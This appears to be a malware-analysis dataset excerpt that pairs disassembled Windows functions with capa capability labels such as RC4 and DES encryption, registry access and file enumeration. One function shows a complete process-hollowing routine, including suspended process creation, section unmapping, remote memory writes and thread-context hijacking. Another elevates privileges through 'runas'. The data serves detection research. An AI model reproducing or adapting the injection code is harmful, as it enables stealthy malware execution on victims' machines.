joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1006a630
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x1006a679
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x1006aaf0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x10090030
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.1006a6a0
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.1006a720
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.1006a720
lea ecx, [esi + 0xc]
call fcn.100811b4
lea ecx, [esi + 0x10]
call fcn.100811b4
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.1006bcb0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.1006bcb0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.1006bcb0
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.10081229
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.10081229
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x1006bed0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 8
xor ecx, ecx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x18]
mov byte [eax + ebp], al
inc eax
cmp eax, 0x100
jl 0x1006bedc
mov eax, dword [esp + 0x14]
mov byte [ebp + 0x100], cl
cmp eax, ecx
mov byte [ebp + 0x101], cl
jle 0x1006bf6f
push ebx
push esi
push edi
mov byte [esp + 0x24], cl
xor esi, esi
mov ebx, ebp
mov dword [esp + 0x10], 0x100
mov edi, dword [esp + 0x24]
mov ecx, dword [esp + 0x1c]
and edi, 0xff
xor eax, eax
xor edx, edx
mov al, byte [edi + ecx]
mov dl, byte [ebx]
add esi, eax
add edx, esi
and edx, 0x800000ff
jns 0x1006bf39
dec edx
or edx, 0xffffff00
inc edx
mov byte [esp + 0x14], dl
mov esi, dword [esp + 0x14]
and esi, 0xff
lea eax, [esi + ebp]
push eax
push ebx
call fcn.1006bf80
lea eax, [edi + 1]
add esp, 8
cdq
idiv dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc ebx
dec eax
mov dword [esp + 0x10], eax
mov byte [esp + 0x24], dl
jne 0x1006bf0e
pop edi
pop esi
pop ebx
pop ebp
add esp, 8
ret

Function at 0x1006bfa0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0xc
mov edx, dword [esp + 0x14]
push ebx
push esi
mov esi, dword [esp + 0x20]
xor ebx, ebx
mov al, byte [esi + 0x100]
mov cl, byte [esi + 0x101]
test edx, edx
mov byte [esp + 0x20], al
mov byte [esp + 8], cl
jle 0x1006c09d
push ebp
mov ebp, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0x28]
and edi, 0xff
and ebp, 0xff
lea eax, [edi + 1]
and eax, 0x800000ff
jns 0x1006bff2
dec eax
or eax, 0xffffff00
inc eax
mov byte [esp + 0x28], al
xor ecx, ecx
mov edi, dword [esp + 0x28]
and edi, 0xff
mov cl, byte [edi + esi]
lea eax, [edi + esi]
add ecx, ebp
mov dword [esp + 0x18], eax
and ecx, 0x800000ff
jns 0x1006c01e
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ebp, dword [esp + 0x10]
and ebp, 0xff
lea ecx, [esi + ebp]
push ecx
push eax
mov dword [esp + 0x1c], ecx
call fcn.1006bf80
mov eax, dword [esp + 0x1c]
xor edx, edx
xor ecx, ecx
add esp, 8
mov dl, byte [eax]
mov eax, dword [esp + 0x18]
mov cl, byte [eax]
add edx, ecx
and edx, 0x800000ff
jns 0x1006c05f
dec edx
or edx, 0xffffff00
inc edx
mov eax, dword [esp + 0x20]
and edx, 0xff
mov cl, byte [edx + esi]
mov dl, byte [ebx + eax]
xor dl, cl
mov byte [ebx + eax], dl
mov eax, dword [esp + 0x24]
inc ebx
cmp ebx, eax
jl 0x1006bfe1
mov dl, byte [esp + 0x28]
mov al, byte [esp + 0x10]
pop edi
mov byte [esi + 0x100], dl
mov byte [esi + 0x101], al
pop ebp
pop esi
pop ebx
add esp, 0xc
ret
mov byte [esi + 0x100], al
mov byte [esi + 0x101], cl
pop esi
pop ebx
add esp, 0xc
ret
Function at 0x1006d060
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + str.80_]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x100bf5f4]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x1006d073
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x1006d0b4
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x100bf69c]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x1006d0e6
mov bl, byte [esp + ecx + 0x4c]
jmp 0x1006d0ea
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x1006d0db
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x1006d108
mov bl, byte [esp + ecx + 0x4c]
jmp 0x1006d10c
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x1006d0fd
xor ecx, ecx
mov eax, 0x100bf604
xor ebx, ebx
mov bl, byte [ecx + 0x100bf6ac]
cmp byte [esp + ebx + 0x14], 0
je 0x1006d137
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x100bf6c4]
cmp byte [esp + ebx + 0x14], 0
je 0x1006d14e
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, str.80_
jl 0x1006d11e
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x1006d0a7
lea edx, [esp + 0x84]
push edx
call fcn.1006d190
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x100835d0
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x10083608
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.10081684
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.1008165c
jmp 0x10083614
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x10084cc2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x10084d04
call fcn.1008a994
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x10084d04
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x10084cfb
xor eax, eax
jmp 0x10084d0c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.10084d12
pop edi
pop esi
pop ebx
ret 4
Function at 0x4237e0
Capabilities:
Delete directory
Get common file path
Read file on windows
Set console window title

Disassembly:
mov eax, 0x1464
call fcn.0040e6e0
cmp dword [0x7c13b8], 0x37
jne 0x4238d2
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0x4046a4
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [esp]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FreeUserPhysicalPages]
push 0
lea edx, [esp + 0x868]
push edx
push 0x4046c0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea eax, [esp + 0xc68]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea ecx, [esp + 4]
push ecx
push 0
lea edx, [esp + 0x14]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push 0x4046ec
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
lea eax, [esp + 8]
push eax
push 0x404720
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
push 0x404758
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push 0
lea ecx, [esp + 0x68]
push ecx
push 0
push 0x40478c
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringA]
lea edx, [esp + 0x464]
push edx
push 0
push 0x4047c4
push 0x4047d8
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0
push 0
push 0
push 0x4047dc
push 0x40480c
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
mov eax, dword [0x7c13bc]
mov dword [esp], eax
mov eax, 0x5d1
add dword [esp], eax
mov ecx, dword [esp]
mov dl, byte [ecx + esi]
mov eax, dword [0x44141c]
mov byte [eax + esi], dl
add esp, 0x1464
ret
Function at 0x423a90
Capabilities:
Enumerate files on windows
Manipulate console buffer
Move file

Disassembly:
mov eax, dword [0x7c13b8]
sub esp, 0x1d4
push ebx
push ebp
push esi
mov esi, dword [0x44141c]
shr eax, 3
push edi
test eax, eax
je 0x423c45
mov dword [esp + 0x38], 0x9e3779b9
mov dword [esp + 0x1c], esi
mov dword [esp + 0x24], eax
jmp 0x423ac6
mov esi, dword [esp + 0x1c]
cmp dword [0x7c13b8], 0x1c
jne 0x423ae3
lea eax, [esp + 0x3c]
push eax
push 0
lea ecx, [esp + 0x4c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
mov edx, dword [0x43b310]
mov ecx, dword [0x43b314]
mov eax, dword [esi]
mov edi, dword [esi + 4]
mov dword [esp + 0x2c], edx
mov edx, dword [0x43b318]
mov dword [esp + 0x30], ecx
mov ecx, dword [0x43b31c]
mov dword [esp + 0x14], eax
mov ebx, 0xc6ef3720
mov dword [esp + 0x28], edx
mov dword [esp + 0x34], ecx
mov dword [esp + 0x20], 0x20
jmp 0x423b27
mov eax, dword [esp + 0x14]
mov edx, eax
mov ecx, eax
shr edx, 5
add edx, dword [esp + 0x34]
shl ecx, 4
add ecx, dword [esp + 0x28]
add eax, ebx
xor edx, ecx
xor edx, eax
sub edi, edx
mov ecx, edi
shl ecx, 4
mov dword [0x7c033c], 0
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x2c]
add dword [esp + 0x10], eax
cmp dword [0x7c13b8], 0x1be
lea ebp, [ebx + edi]
jne 0x423b7c
lea edx, [esp + 0x40]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov esi, edi
shr esi, 5
add esi, dword [esp + 0x30]
cmp dword [0x7c13b8], 0x979
mov dword [0x7c0340], 0xff6b3619
mov dword [0x7c0344], 0xffffffff
jne 0x423bb5
lea eax, [esp + 0xa0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor esi, ebp
xor dword [esp + 0x10], esi
mov eax, dword [esp + 0x10]
sub dword [esp + 0x14], eax
mov dword [esp + 0x18], 0
mov eax, dword [esp + 0x38]
add dword [esp + 0x18], eax
sub ebx, dword [esp + 0x18]
dec dword [esp + 0x20]
jne 0x423b23
cmp dword [0x7c13b8], 0x8d4
jne 0x423bf8
lea ecx, [esp + 0x58]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov esi, dword [esp + 0x1c]
mov edx, dword [esp + 0x14]
mov dword [esi], edx
mov dword [esi + 4], edi
cmp dword [0x7c13b8], 0x17
jne 0x423c34
push 0
push 0
push 0
push 0x404558
push 0x4045b8
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
lea eax, [esp + 0xa0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
add esi, 8
dec dword [esp + 0x24]
mov dword [esp + 0x1c], esi
jne 0x423ac2
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1d4
ret
Function at 0x402fe0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push ebx
cmovae eax, dword [ebp + 0x20]
push esi
push edi
push dword [ebp + 0x30]
mov dword [ebp - 4], ecx
mov ecx, 0x44c07c
push eax
call fcn.00416360
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0x44ba64
push eax
call fcn.00416360
mov esi, dword [0x44c08c]
xor ebx, ebx
mov edi, dword [0x44c090]
nop word [eax + eax]
cmp edi, 0x10
mov byte [ebx + 0x44d958], bl
mov eax, ebx
mov ecx, 0x44c07c
cmovae ecx, dword [0x44c07c]
cdq
idiv esi
mov al, byte [edx + ecx]
mov byte [ebx + 0x44da60], al
inc ebx
cmp ebx, 0x100
jl 0x403030
xor esi, esi
xor eax, eax
mov bl, byte [eax + 0x44d958]
movzx ecx, byte [eax + 0x44da60]
add esi, ecx
movzx edx, bl
add esi, edx
and esi, 0x800000ff
jns 0x403084
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [esi + 0x44d958]
mov byte [eax + 0x44d958], cl
inc eax
mov byte [esi + 0x44d958], bl
cmp eax, 0x100
jl 0x403060
mov esi, dword [ebp - 4]
mov ecx, esi
call fcn.00402c80
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x4030d8
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4030ce
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403123
push edx
push ecx
call fcn.00418e03
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x40311a
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403110
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403123
push edx
push ecx
call fcn.00418e03
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0042140f
int3
Function at 0x403130
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x44b018]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov ebx, dword [eax]
mov edi, ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x38], edi
test ebx, ebx
jne 0x40317e
push ebx
push 0x4475ef
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], 0xf
mov byte [edi], bl
call fcn.00416360
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0041878c
mov esp, ebp
pop ebp
ret
mov eax, ebx
xor esi, esi
and eax, 3
jne 0x403195
cmp byte [ebx + edx - 1], 0x3d
je 0x403195
xor ecx, ecx
mov dword [ebp - 0x24], ecx
jmp 0x4031af
mov ecx, 1
mov dword [ebp - 0x24], ecx
cmp eax, 2
ja 0x4031ad
cmp byte [ebx + edx - 2], 0x3d
jne 0x4031ad
xor eax, eax
jmp 0x4031af
mov eax, ecx
sub ebx, ecx
mov dword [ebp - 0x30], eax
and ebx, 0xfffffffc
mov dword [ebp - 0x10], esi
mov ecx, ebx
mov dword [ebp - 0x3c], ebx
shr ecx, 2
push 0
mov dword [ebp - 0xc], 0xf
mov byte [ebp - 0x20], 0
lea eax, [eax + ecx*2]
add eax, ecx
lea ecx, [ebp - 0x20]
add eax, dword [ebp - 0x24]
push eax
call fcn.00416220
cmp dword [ebp - 0xc], 0x10
lea eax, [ebp - 0x20]
cmovae eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
test ebx, ebx
je 0x40326b
mov edx, dword [ebp - 0x28]
lea eax, [ebx - 1]
mov ebx, dword [ebp - 0x2c]
add edx, 2
shr eax, 2
inc eax
mov dword [ebp - 0x34], eax
mov edi, eax
nop word [eax + eax]
movzx eax, byte [edx - 2]
lea edx, [edx + 4]
mov ecx, dword [eax*4 + 0x448340]
movzx eax, byte [edx - 5]
shl ecx, 6
or ecx, dword [eax*4 + 0x448340]
movzx eax, byte [edx - 4]
shl ecx, 6
or ecx, dword [eax*4 + 0x448340]
movzx eax, byte [edx - 3]
shl ecx, 6
or ecx, dword [eax*4 + 0x448340]
mov eax, ecx
sar eax, 0x10
mov byte [ebx + esi], al
mov eax, ecx
sar eax, 8
mov byte [ebx + esi + 1], al
mov byte [ebx + esi + 2], cl
add esi, 3
sub edi, 1
jne 0x403210
mov edi, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x3c]
cmp dword [ebp - 0x24], 0
je 0x4032ba
add ebx, dword [ebp - 0x28]
movzx eax, byte [ebx]
movzx ecx, byte [ebx + 1]
mov edx, dword [eax*4 + 0x448340]
shl edx, 6
or edx, dword [ecx*4 + 0x448340]
mov ecx, dword [ebp - 0x2c]
shl edx, 0xc
mov eax, edx
sar eax, 0x10
cmp dword [ebp - 0x30], 0
mov byte [ecx + esi], al
je 0x4032ba
movzx eax, byte [ebx + 2]
sar edx, 8
mov eax, dword [eax*4 + 0x448340]
shl eax, 6
sar eax, 8
or al, dl
mov byte [ecx + esi + 1], al
movups xmm0, xmmword [ebp - 0x20]
mov ecx, dword [ebp - 8]
mov eax, edi
xor ecx, ebp
movups xmmword [edi], xmm0
movq xmm0, qword [ebp - 0x10]
movq qword [edi + 0x10], xmm0
pop edi
pop esi
pop ebx
call fcn.0041878c
mov esp, ebp
pop ebp
ret
Function at 0x403610
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x44b018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x400
lea eax, [ebp - 0x404]
mov esi, edx
push 0
push eax
mov edi, ecx
call fcn.0041a7c0
add esp, 0xc
mov dword [ebp - 0x408], 0x400
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x40c]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push 1
push 0
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403695
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp - 0x408]
push ecx
lea ecx, [ebp - 0x404]
push ecx
push 0
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push 0
push eax
push dword [ebp - 0x40c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x40c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x404]
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
lea edx, [ecx + 1]
mov byte [edi], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4036c0
sub ecx, edx
lea eax, [ebp - 0x404]
push ecx
push eax
mov ecx, edi
call fcn.00416360
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x403708
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4036fe
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40375c
push edx
push ecx
call fcn.00418e03
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x40374a
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x403740
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40375c
push edx
push ecx
call fcn.00418e03
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.0041878c
mov esp, ebp
pop ebp
ret
call fcn.0042140f
int3
Function at 0x403770
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x44b018]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 8]
push ecx
push 0xf003f
lea eax, [ebp + 8]
mov dword [ebp - 8], 0x80000001
cmovae eax, dword [ebp + 8]
push 0
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4037d7
cmp dword [ebp + 0x4c], 0x10
lea edx, [ebp + 0x38]
mov eax, dword [ebp + 0x48]
lea ecx, [ebp + 0x20]
cmovae edx, dword [ebp + 0x38]
cmp dword [ebp + 0x34], 0x10
cmovae ecx, dword [ebp + 0x20]
inc eax
push eax
push edx
push 2
push 0
push ecx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x403814
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40380a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4038a6
push edx
push ecx
call fcn.00418e03
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x403856
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40384c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4038a6
push edx
push ecx
call fcn.00418e03
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x403898
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40388e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4038a6
push edx
push ecx
call fcn.00418e03
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041878c
mov esp, ebp
pop ebp
ret
call fcn.0042140f
int3
Function at 0x403f20
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x17c
mov eax, dword [0x44b018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x110]
mov esi, ecx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x40411c
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x40411c
push 0x44
lea eax, [ebp - 0x158]
push 0
push eax
call fcn.0041a7c0
add esp, 0xc
lea eax, [ebp - 0x16c]
xorps xmm0, xmm0
movups xmmword [ebp - 0x16c], xmm0
push eax
lea eax, [ebp - 0x158]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40411c
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push ebx
mov dword [ebp - 0x178], ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x168]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40411c
push 0
push 4
lea eax, [ebp - 0x15c]
push eax
push 0x4481ec
push dword [ebp - 0x16c]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [edi + 0x34]
cmp dword [ebp - 0x15c], eax
jne 0x40403c
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x15c]
push dword [ebp - 0x16c]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [ebp - 0x16c]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x174], eax
test eax, eax
je 0x40411c
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [ebp - 0x16c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
mov dword [ebp - 0x170], 0
cmp ax, word [edi + 6]
jae 0x4040d6
xor ebx, ebx
lea ecx, [ebx + esi]
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [ebp - 0x174]
push eax
push dword [ebp - 0x16c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x170]
lea ebx, [ebx + 0x28]
movzx eax, word [edi + 6]
inc ecx
mov dword [ebp - 0x170], ecx
cmp ecx, eax
jl 0x404088
mov ebx, dword [ebp - 0x178]
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x16c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0x174]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x168]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x168]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041878c
mov esp, ebp
pop ebp
ret
Function at 0x404140
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x18], 1
jne 0x40415d
cmp byte [eax], 0x31
jne 0x40415d
mov cl, 1
jmp 0x40415f
xor cl, cl
xor edx, edx
mov eax, 5
test cl, cl
lea ecx, [ebp + 8]
push esi
cmove eax, edx
mov edx, str.runas
push eax
mov eax, 0x4475ef
cmovne eax, edx
push eax
call fcn.00416360
cmp dword [ebp + 0x4c], 0x10
lea edx, [ebp + 0x38]
push 0
cmovae edx, dword [ebp + 0x38]
lea ecx, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 8]
push 0
cmovae ecx, dword [ebp + 0x20]
cmp dword [ebp + 0x1c], 0x10
push edx
cmovae eax, dword [ebp + 8]
push ecx
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, dword [ebp + 0x1c]
mov esi, eax
mov dword [0x44da5c], esi
cmp edx, 0x10
jb 0x4041ef
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4041e5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404278
push edx
push ecx
call fcn.00418e03
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x404231
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x404227
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404278
push edx
push ecx
call fcn.00418e03
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
